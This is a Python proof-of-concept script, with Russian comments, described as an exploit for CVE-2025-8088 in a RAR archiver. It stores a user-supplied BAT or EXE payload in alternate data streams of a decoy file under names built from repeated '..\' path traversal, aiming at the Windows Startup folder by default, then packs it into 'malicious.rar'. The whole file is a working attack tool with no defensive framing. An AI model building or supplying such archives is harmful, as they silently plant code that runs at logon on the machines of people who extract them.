import argparse import os import subprocess import sys def create_ads(decoy_file, stream_name, payload_data): """Создает ADS с указанным именем и данными.""" ads_path = f"{decoy_file}:{stream_name}" with open(ads_path, 'wb') as f: f.write(payload_data) def main(): parser = argparse.ArgumentParser(description="PoC для CVE-2025-8088: Создание вредоносного RAR с path traversal через ADS.") parser.add_argument('--decoy', required=True, help="Путь к файлу-приманке (создастся, если не существует).") parser.add_argument('--payload', required=True, help="Путь к файлу с payload (BAT или EXE).") parser.add_argument('--out', default="malicious.rar", help="Имя выходного RAR-архива.") parser.add_argument('--max_up', type=int, default=20, help="Максимальное количество уровней traversal (..).") parser.add_argument('--target_path', default=r"AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.bat", help="Целевой путь для payload относительно root.") args = parser.parse_args() # Проверка файлов if not os.path.exists(args.payload): sys.exit(f"Payload файл не найден: {args.payload}") with open(args.payload, 'rb') as f: payload_data = f.read() # Создание decoy, если не существует if not os.path.exists(args.decoy): with open(args.decoy, 'w') as f: f.write("Это файл-приманка.\n") # Добавление ADS с traversal for level in range(1, args.max_up + 1): traversal = '..\\' * level stream_name = f"{traversal}{args.target_path}" create_ads(args.decoy, stream_name, payload_data) print(f"Добавлен ADS: {stream_name}") # Создание RAR-архива с помощью rar.exe try: subprocess.check_call(["rar", "a", "-m5", args.out, args.decoy]) print(f"Создан вредоносный архив: {args.out}") except FileNotFoundError: sys.exit("rar.exe не найден в PATH. Установите WinRAR и добавьте в PATH.") except subprocess.CalledProcessError as e: sys.exit(f"Ошибка создания архива: {e}") if __name__ == "__main__": main()